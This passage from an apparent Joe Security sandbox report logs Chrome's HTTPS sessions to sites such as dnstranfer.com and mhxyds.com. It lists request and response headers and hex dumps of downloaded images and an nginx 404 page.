2022-08-11 03:43:03 UTC 12063 IN Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 
79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 8d 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 
2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 
48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 
64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 
2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 
20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 
Data Ascii: ExifII*Ducky<http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmp
meta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF 
xm

2022-08-11 03:43:03 UTC 12079 IN Data Raw: 92 49 20 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 92 42 00 0d b6 db 6d b6 db 6d b6 40 01 49 
24 92 48 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 90 80 03 ff 00 cc 4d 69 bb 1b 6d 90 00 52 49 24 92 
09 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 20 00 d1 4e e5 6e 51 42 d1 64 00 14 92 49 24 82 49 24 92 
49 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 08 00 3c e1 fb a4 92 45 95 59 00 05 24 92 49 20 92 49 24 92 49 24 92 
49 24 92 49 24 92 49 24 92 49 24 92 42 00 07 84 17 a0 be db 6d b6 40 01 49 24 92 48 24 92 49 24 92 49 24 92 49 24 92 
49 24 92 49 24 92 49 24 90 80 01 4d ed 6c 3f 36 db 6d 90 00 52 49 24 92 09 24 92 49 24 92 49 24 92 49 24 92 49 24 92 
49 24 92 49 24 20 00 7e ed c7 36 0c ca 5c a4 00 14 92 49 24 82 49 24 92 49 
Data Ascii: I I$I$I$I$I$I$Bmm@I$H$I$I$I$I$I$I$MimRI$$I$I$I$I$I$I$ NnQBdI$I$I$I$I$I$I$I<EY$I I$I$I$I$I$I$Bm@I$H
$I$I$I$I$I$I$Ml?6mRI$$I$I$I$I$I$I$ ~6\I$I$I

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

234 47.243.100.207 443 192.168.11.20 51255 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:03 UTC 12405 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:03 GMT
etag: "22c6-62f0cdd1-202ef9;;;"
last-modified: Mon, 08 Aug 2022 08:48:17 GMT
content-type: image/png
content-length: 8902
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:03 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:03 UTC 12405 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 04 00 00 00 66 08 06 00 00 00 2d 43 ef ef 00 00 00 
09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 20 63 48 52 4d 00 00 7a 25 00 00 80 83 00 00 f9 ff 00 
00 80 e9 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 6f 92 5f c5 46 00 00 22 4c 49 44 41 54 78 da ec 5d 4f a8 35 c9 55 
ff 9d be f7 bd be f3 e2 7c f3 f2 a1 01 67 16 c2 4c 30 60 42 c0 8d 59 84 2f b8 89 8a 90 9d 0b 21 13 21 0b 49 5c b8 70 1f 31 
0b 71 a1 0b 17 12 c5 95 43 d0 a0 10 02 c1 e0 48 18 10 9d 80 33 88 90 c8 20 93 c0 28 61 4c 32 61 26 2f f7 bd 8f 79 73 fb 
9b ef f5 71 d1 d5 dd a7 aa 4e 55 57 75 f7 bd ef bd 6f ba 1e 8f 7b 6f ff a9 ae ae aa 73 ea 77 7e 75 ea 14 31 33 96 b4 a4 25 
2d 09 00 8a a5 0a 96 b4 a4 25 2d 0a 61 49 4b 5a d2 a2 
Data Ascii: PNGIHDRf-CpHYs cHRMz%u0`:o_F"LIDATx]O5U|gL0`BY/!!I\p1qCH3 (aL2a&/ysqNUWuo{osw~u13%-%-aIKZ

Session ID Source IP Source Port Destination IP
Destination
Port

Process

235 47.243.100.207 443 192.168.11.20 62581 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:03 UTC 12708 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:03 GMT
etag: "2476-62d8e1a6-202eed;;;"
last-modified: Thu, 21 Jul 2022 05:18:30 GMT
content-type: image/png
content-length: 9334
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:03 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:03 UTC 12708 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 c6 00 00 00 5c 08 03 00 00 00 5a d4 83 8b 00 00 
00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 02 8b 50 4c 54 45 47 70 4c 46 
52 77 44 4f 75 43 4f 73 4b 57 7d 43 50 73 44 4f 73 77 96 ad 43 4f 73 43 4f 74 43 50 74 44 4f 74 43 50 73 44 50 74 51 63 
89 4a 58 7b 44 50 74 45 50 75 44 4f 76 43 4f 73 44 50 73 28 69 f1 0e 8a ff 46 53 77 29 69 f0 46 51 75 43 50 74 44 50 73 
46 51 74 43 4f 73 29 69 ef 44 4f 74 45 51 74 43 50 75 44 50 73 11 a9 f7 44 50 74 2a ae f2 47 52 75 1e aa f3 1c b1 eb 44 
50 74 26 6d f3 1a a5 f4 44 51 75 1c ac e4 19 a5 e7 14 ad dd 03 93 ff 1e b6 ea ff ab 00 14 a3 e2 02 7c ff 1f b3 e7 06 8f ff ff 
aa 00 ff ac 00 ff 9c 0a ff ab 00 ff 9b 08 03 91 ff ff ab 
Data Ascii: PNGIHDR\ZgAMAasRGBPLTEGpLFRwDOuCOsKW}CPsDOswCOsCOtCPtDOtCPsDPtQcJX{DPtEPuDOvCO
sDPs(iFSw)iFQuCPtDPsFQtCOs)iDOtEQtCPuDPsDPt*GRuDPt&mDQu|

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

236 192.168.11.20 52852 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:03 UTC 12915 OUT GET /img/logo.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

237 192.168.11.20 64988 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:04 UTC 13125 OUT GET /jpg/understanding-the-lic-structure-746x419-1f46b.jpg?mw=285&hash=C8C36499F66CAC27725EBD92450D8
783215D5F03 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com
If-Modified-Since: Wed, 21 Oct 2020 17:26:50 GMT
If-None-Match: "5f906f5a-587b"

Session ID Source IP Source Port Destination IP
Destination
Port

Process

238 192.168.11.20 56003 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:04 UTC 13125 OUT GET /lipgupiao/assets/images/icon-icon-close@2x.png HTTP/1.1
Host: dnstranfer.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://dnstranfer.com/direct/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

239 192.168.11.20 56005 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:04 UTC 13126 OUT GET /lipgupiao/assets/images/foot-img.png HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: dnstranfer.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

24 192.168.11.20 52994 172.64.145.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:41 UTC 359 OUT POST /dns-query HTTP/1.1
Host: chrome.cloudflare-dns.com
Connection: keep-alive
Content-Length: 128
Accept: application/dns-message
Accept-Language: *
User-Agent: Chrome
Accept-Encoding: identity
Content-Type: application/dns-message

2022-08-11 03:42:41 UTC 360 OUT Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 
29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: wwwgstaticcom)TP

Session ID Source IP Source Port Destination IP
Destination
Port

Process

240 192.168.11.20 56004 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:04 UTC 13126 OUT GET /lipgupiao/assets/images/nhaynhay.gif HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: dnstranfer.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

241 118.27.105.118 443 192.168.11.20 52852 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:04 UTC 13126 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:04 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:04 UTC 13126 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Copyright Joe Security LLC 2022 Page 211 of 310



Session ID Source IP Source Port Destination IP
Destination
Port

Process

242 118.27.105.118 443 192.168.11.20 64988 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:04 UTC 13127 IN HTTP/1.1 304 Not Modified
Server: nginx
Date: Thu, 11 Aug 2022 03:43:04 GMT
Last-Modified: Wed, 21 Oct 2020 17:26:50 GMT
Connection: close
ETag: "5f906f5a-587b"
Expires: Sat, 10 Sep 2022 03:43:04 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000

Session ID Source IP Source Port Destination IP
Destination
Port

Process

243 47.243.100.207 443 192.168.11.20 56003 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:04 UTC 13127 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:04 GMT
etag: "205-62d8e1a6-202ef2;;;"
last-modified: Thu, 21 Jul 2022 05:18:30 GMT
content-type: image/png
content-length: 517
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:04 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:04 UTC 13128 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2e 00 00 00 2c 08 03 00 00 00 2d af 7a 0e 00 00 
00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 33 50 4c 54 45 47 70 4c ff ff ff 
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff cf d1 8a 61 00 00 00 11 74 52 4e 53 
00 81 65 90 39 23 d4 e7 de 74 9d 0b af c7 52 4d 15 6e d3 e9 e8 00 00 01 53 49 44 41 54 48 c7 95 55 d9 ba 86 20 08 cc 
15 c9 a5 de ff 69 0f ed 62 fa 77 f0 ae be 11 87 61 80 69 6a 8e 45 93 72 08 39 19 b4 d3 c7 b1 c6 43 75 bc f9 75 c3 26 82 
64 55 ac 8b d1 d9 a2 32 7d a6 d1 05 37 53 38 74 ec 17 d2 63 b3 eb 86 f6 10 30 b6 7f 23 06 f0 9d 07 34 85 59 7b 61 56 7a 
54 b7 3f 
Data Ascii: PNGIHDR.,-zgAMAasRGB3PLTEGpLatRNSe9#tRMnSIDATHU ibwaijEr9Cuu&dU2}7S8tc0#4Y{aVzT?

Session ID Source IP Source Port Destination IP
Destination
Port

Process

244 47.243.100.207 443 192.168.11.20 56005 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:04 UTC 13128 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:04 GMT
etag: "1bd95-62f0fcc2-202f16;;;"
last-modified: Mon, 08 Aug 2022 12:08:34 GMT
content-type: image/png
content-length: 114069
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:04 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:04 UTC 13130 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 ee 00 00 00 84 08 06 00 00 00 cf ed ae df 00 00 00 
09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 20 63 48 52 4d 00 00 7a 25 00 00 80 83 00 00 f9 ff 00 
00 80 e9 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 6f 92 5f c5 46 00 01 bd 1b 49 44 41 54 78 da ec fd 77 bc 6d d7 55 
de 8d 7f e7 5c 65 97 53 ef 39 b7 e9 5e 75 4b b2 8a 25 cb 72 b7 91 0d 6e 60 dc 70 c0 60 13 62 20 e1 07 81 97 9a 40 20 
95 00 81 90 bc 26 21 21 94 10 4a 4c 09 10 8a c1 c6 38 ee 0d 5b 96 6d d9 46 92 d5 65 95 ab 72 db e9 bb ae 32 e7 fb c7 1
8 6b ed b5 f7 d9 e5 dc 6b 1b 08 bf b3 f8 5c 74 7d ee d9 6b af 35 cb 98 63 3c e3 19 cf 30 ff 0b db 89 08 28 2e c3 de af 14 
87 c7 eb e7 0c f5 ca 7d f6 7a 19 3c 19 19 29 9e 00 43 84 25 c4 
Data Ascii: PNGIHDRpHYs cHRMz%u0`:o_FIDATxwmU\eS9^uK%rn`p`b @ &!!JL8[mFer2kk\t}k5c<0(.}z<)C%
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2022-08-11 03:43:04 UTC 13146 IN Data Raw: 29 3b 35 b0 40 5f ee 9d 00 73 75 f9 ee d0 c0 b1 05 a9 9d 18 17 e2 04 0d 38 d1 87 bf b8 1b 8b 67 85 26 67 48 
59 a0 2e c1 05 66 f8 ab ad ae bf 6e 2a cf 1a 29 72 9c 66 e3 1d ef 28 18 14 0e 14 94 18 0b 50 53 ae 37 52 53 31 1f 9d 1b 
5b c6 a9 b5 8f 9a 10 25 e2 18 87 06 16 82 b2 76 85 a5 18 2e b6 90 ac c1 46 5f 6a 72 b2 ac 52 00 e1 25 8b 18 d4 61 3d 
83 b5 48 27 b3 e2 2e d9 80 dd 6d 64 fd de 5c 13 a7 ce ea d6 06 1c 6f c0 42 0d e8 6a e1 a4 4a a9 d6 22 c9 1c 34 e6 e1 0f 
4f 90 3f f4 38 0d 1c 0b 44 1a 80 0c ba e6 ae bc fc 46 f8 8a a3 e2 f0 3b 2b 99 8b c5 ba 64 c6 e6 0d dc 7b 86 07 1e 7c 98 
90 88 c7 f1 60 04 93 dc f2 7d 22 1c 9b 78 16 e7 e6 e1 82 9a 00 4f 0b 0d 71 76 2d 12 40 76 12 78 6c 8b c7 37 b6 68 00 3b 
a4 d4 b4 fa e8 24 5d 62 62 3e 7b e2 04 2f f8 e8 83 f0 fc 83 
Data Ascii: );5@_su8g&gHY.fn*)rf(PS7RS1[%v.F_jrR%a=H'.md\oBjJ"4O?8DF;+d{|`}"xOqv-@vxl7h;$]bb>{/

2022-08-11 03:43:05 UTC 13199 IN Data Raw: 23 51 0f 09 cc 80 22 31 87 a0 cd 51 9f 36 d0 d5 22 d1 88 80 2f 55 d3 0e bf a7 d4 a8 19 23 7d 26 fa f2 9b 38 96 
a9 b3 93 78 de fb 9b 1f a0 fb 9b 03 a9 d1 03 0a 1e f8 08 5e f7 f3 af 12 5d ee 9d 96 ca 81 22 4e 58 81 d6 26 29 8f fc b3 8f 
f3 a9 07 4f 97 f8 9f df cb d6 d6 ef 30 50 16 94 77 80 23 18 9a da 89 f3 18 21 8b e5 9b 66 d4 c9 d9 51 67 bb 01 1c 22 a0 
86 67 03 94 4e 71 08 3e b4 05 c1 0e 3c 3f 90 2c 0b b1 f6 9a 68 08 df 3a cb c0 18 62 22 89 b9 c8 48 35 20 56 b1 5d 0d 76 
fd d8 42 fa 42 ee ee a5 cf b8 84 f9 ff f8 d5 f0 f4 1c ce 9c 15 1b b1 1e 40 fd ac 38 75 2b 35 38 b5 00 3f f9 69 de f9 9b 9f d6 
a6 55 d2 d0 2a 42 ba d2 ce 91 d2 a7 c3 12 01 ad 07 4e f1 89 7f fd 76 4e 23 05 f2 c5 b1 7c 17 f0 ca 67 1f e2 aa 57 bc 5c 
02 d6 7e 5f de a9 de 90 02 d4 2c 87 a5 03 f0 
Data Ascii: #Q"1Q6"/U#}&8x^]"NX&)O0Pw#!fQg"gNq><?,h:b"H5 V]vBB@8u+58?iU*BNvN#|gW\~_,

2022-08-11 03:43:05 UTC 13215 IN Data Raw: 42 2f 87 f9 18 b2 5c ba 69 44 90 79 5a 3f 7e 27 b7 fe d0 63 2c 9f e8 b2 87 28 94 12 96 25 2c c7 ff d2 0d f0 37 
0f c2 e6 32 e8 19 d9 5b d3 a1 a0 ec 2a e1 3b ff 4e c5 c7 df 7b 99 75 60 3f d0 46 b8 ca e5 48 d7 08 f2 70 5f 4a 1c 89 ad c2 
50 a3 9f 70 7e 19 ba a1 8a 7a 8c 18 74 49 7c 36 13 f1 5d 33 36 7f db 18 91 bd 98 2c 05 24 21 2a 07 50 35 a4 b8 f0 8c 5b 
ba 65 09 45 b1 45 74 71 48 35 ca 27 9e f5 d0 94 3e a3 8f a3 01 44 9c 21 63 13 38 46 4c 8b 18 c5 80 0e 3e 14 0f 42 b3 93 
2e 88 a7 86 65 01 58 bd 50 c0 0f 9f 84 9f be 09 5e 5e c0 95 5e 98 07 48 83 14 6d 1d 9e e8 c0 6b 8e 71 cb db 0f c1 4f 7d 
94 ae 87 88 26 35 9a c0 3a f5 26 24 ff e7 8d 70 63 b0 bd 1c a2 e5 08 cf 96 c8 88 51 d9 2f 9d e0 fd 1b 96 c3 c0 22 9e 43 
d4 50 bb f8 4a fb 70 2e ec 0a 83 95 15 85 1f 0e 9f 
Data Ascii: B/\iDyZ?~'c,(%,72[*;N{u`?FHp_JPp~ztI|6]36,$!*P5[eEEtqH5'>D!c8FL>B.eXP^^^HmkqO}&5:&$pcQ/"CPJp.

2022-08-11 03:43:05 UTC 13231 IN Data Raw: 80 ef ef c3 e8 4d 0a 7b 09 13 39 bc 8d 45 9d e7 45 2d d6 3c 4a 1b 7c e9 c1 1b 36 2f 97 f8 ac 47 ad 97 43 56 
0a dc 3f 2c 42 30 e9 97 1d c7 7d 7b 70 97 a1 a2 21 2e 6b 26 42 e6 d6 d4 d5 6f 63 ac ed 54 80 6c e7 56 aa 2d 01 57 8d 
0e 4a b7 a5 c5 e7 b7 04 8b ad bf eb 77 68 f3 c9 75 a5 01 05 f4 23 2a 86 0e 6d 6c 75 8d c2 4d 6d 41 e5 4c a0 6e 0c dd df 
d4 35 dd 21 b7 b6 5b 86 98 f5 70 24 4e 8f d2 16 49 ee cc b6 8e c5 30 49 9d 4c b6 26 fd 26 25 1d 74 db ee b6 9d b8 df 2f 
0c c9 b2 e1 1a f4 44 e8 35 5b f0 15 b9 6a f3 3c 3d 19 39 b6 d5 c4 10 93 0e c9 94 63 bb 06 bc 9b 48 2c 14 9a da 44 12 6a 
46 a8 e0 b0 60 70 a3 6b f2 e1 ce 0d 13 e0 61 00 92 d1 58 49 26 d3 80 21 ba 90 32 59 f4 08 29 57 81 4f 6f b1 a3 c4 c4 8c 
ca 64 b7 65 f5 54 c1 f4 24 da d6 59 b8 ba 24 1d a7 49 f1 96 
Data Ascii: M{9EE-<J|6/GCV?,B0}{p!.k&BocTlV-WJwhu#*mluMmALn5![p$NI0IL&&%t/D5[j<=9cH,DjF`pkaXI&!2Y)WO
odeT$Y$I

2022-08-11 03:43:05 UTC 13248 IN Data Raw: 2e 7f f5 2b 9c 7d e3 df 30 f5 e0 03 ec f9 ec e7 30 85 88 e2 c2 5e ce bc 76 8a f6 b9 73 a4 a1 45 88 09 36 3b 4c 
97 66 a8 9e bc 96 d2 c1 03 d8 66 9d 4e b3 43 b2 72 89 20 30 10 56 70 41 80 9e aa 66 f2 19 50 56 a3 3a 42 3a 95 30 fb 
d1 4b d4 ee 5f 86 04 8c cd d6 51 f1 01 8b 4b 03 da 17 a6 59 fb ca 0c 9d a7 2b b8 b6 81 62 57 3e a8 51 89 42 94 a3 74 c3 
26 53 f7 5f a4 b0 bf 0e 1d 4d b7 60 45 94 64 32 c8 00 ac 61 f5 8f 0e b2 f5 cd 1a d1 42 93 d9 cf 9e a5 74 72 0b 33 e7 e1 
a1 b4 21 d9 a8 50 ff d6 1e 1a 8f 4d 61 97 43 54 49 70 07 b7 98 ff e4 79 2a 37 d6 69 bc 38 cb a5 df 3b 8c 6c 09 5a bf 47 
1b bc 8c d6 bd 74 09 91 ff dc af ed 18 ea d1 f0 7e fb 46 5f 6a 0c f0 ea 82 b7 bc 28 d5 66 0c bc f4 ba 57 0c 67 ef fa df ea b6
c9 1a 5a bc d5 65 b7 90 3f ca 7a 6a d8 6d 81 bb 62 
Data Ascii: .+}00^vsE6;LffNCr 0VpAfPV:B:0K_QKY+bW>QBt&S_M`Ed2aBtr3!PMaCTIpy*7i8;lZGt~F_j(fWgZe?zjmb

2022-08-11 03:43:05 UTC 13264 IN Data Raw: eb 6e 8e ff da df 64 ee 86 1b 40 69 b4 09 7b a7 65 53 8b 15 87 b4 db 6c 3c 7c 2d 4f be f0 22 ab 0f 7f 8f ce e5 
15 c8 80 bb 38 37 26 35 ae 08 8d f1 9a b6 50 51 be fb 76 ae fa 99 9f 27 98 9a 26 5d bd c4 ca d3 4f 13 a7 e9 e0 63 6c 1d 
2e 8e 71 b9 9f 0f d6 ab e7 02 03 27 d0 6c 51 be ea 08 7b 7f fa d3 54 0e 1f ee fd ae 73 79 99 95 c7 1e e1 cd df f8 ff b1 fe 
27 5f 64 e3 b9 67 89 f6 ed e5 d0 4f ff 0c 3a 2a 30 7f f3 ad 74 fe f6 df e4 f4 ff b7 cd c6 5f 3c 8f 4b ba 25 93 aa 4f 3b 44 0e 
a2 10 89 fc b2 19 56 53 94 13 74 17 60 ba ae f3 83 f4 4c 70 7a 67 1c 28 54 41 20 f2 93 bc 50 75 18 ad 07 ad 36 25 f3 42 
71 69 ae dd b7 86 40 20 4a d1 41 0b 1b 42 21 09 08 74 80 d8 d0 2f 7b 99 a6 53 65 5e f8 22 79 f0 a5 50 91 43 05 0a 09 
1d 52 4e 09 0b 96 48 06 35 97 2a 6b 0e 62 13 21 
Data Ascii: nd@i{eSl<|-O"87&5PQv'&]Ocl.q'lQ{Tsy'_dgO:*0t_<K%O;DVSt`Lpzg(TA Pu6%Bqi@ JAB!t/{Se^"yPCRNH5*kb!

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

245 47.243.100.207 443 192.168.11.20 56004 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:04 UTC 13129 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:04 GMT
etag: "95a4-62f11cb7-202f2b;;;"
last-modified: Mon, 08 Aug 2022 14:24:55 GMT
content-type: image/gif
content-length: 38308
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:04 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:04 UTC 13162 IN Data Raw: 47 49 46 38 39 61 f4 01 42 00 f7 00 00 93 00 00 be 85 85 d7 5a 5c e7 01 29 e6 14 27 e7 22 2a f7 d4 d4 f3 a4 
aa eb 43 56 ee 6c 74 ee 3a 29 f6 c8 be b3 01 01 ee 23 2a ee 2c 2a e9 14 28 e8 22 2a ea 2a 2c e9 1b 29 9c 00 00 f2 9c 9b 
d6 5d 5d f1 91 8c f3 aa a4 cd 0f 10 ea 32 26 e8 01 29 f7 c6 c4 ea 3b 43 e9 0a 29 fb ec eb d9 5d 5e e8 14 2c e8 0a 01 f9 
d5 d6 f9 e2 db cf 26 10 e8 21 12 e5 02 09 e9 25 36 e8 61 50 e4 42 26 ee 64 71 e5 12 18 f9 e1 ce e7 32 25 f2 82 6c f6 d2 
cc f3 91 7b dc 75 5b e6 14 2c ee 53 30 da ba ba e8 33 40 ee 74 7b f7 f0 e5 eb 60 48 e8 43 43 ef 84 86 f5 c3 bb e5 39 25 
eb 53 58 f5 c4 c4 c2 15 04 e6 0a 06 f0 74 86 ec 64 66 eb 36 52 f0 91 99 f4 b2 a4 ed 59 73 f3 a1 93 e7 2b 2d ea 8d 8b f4 
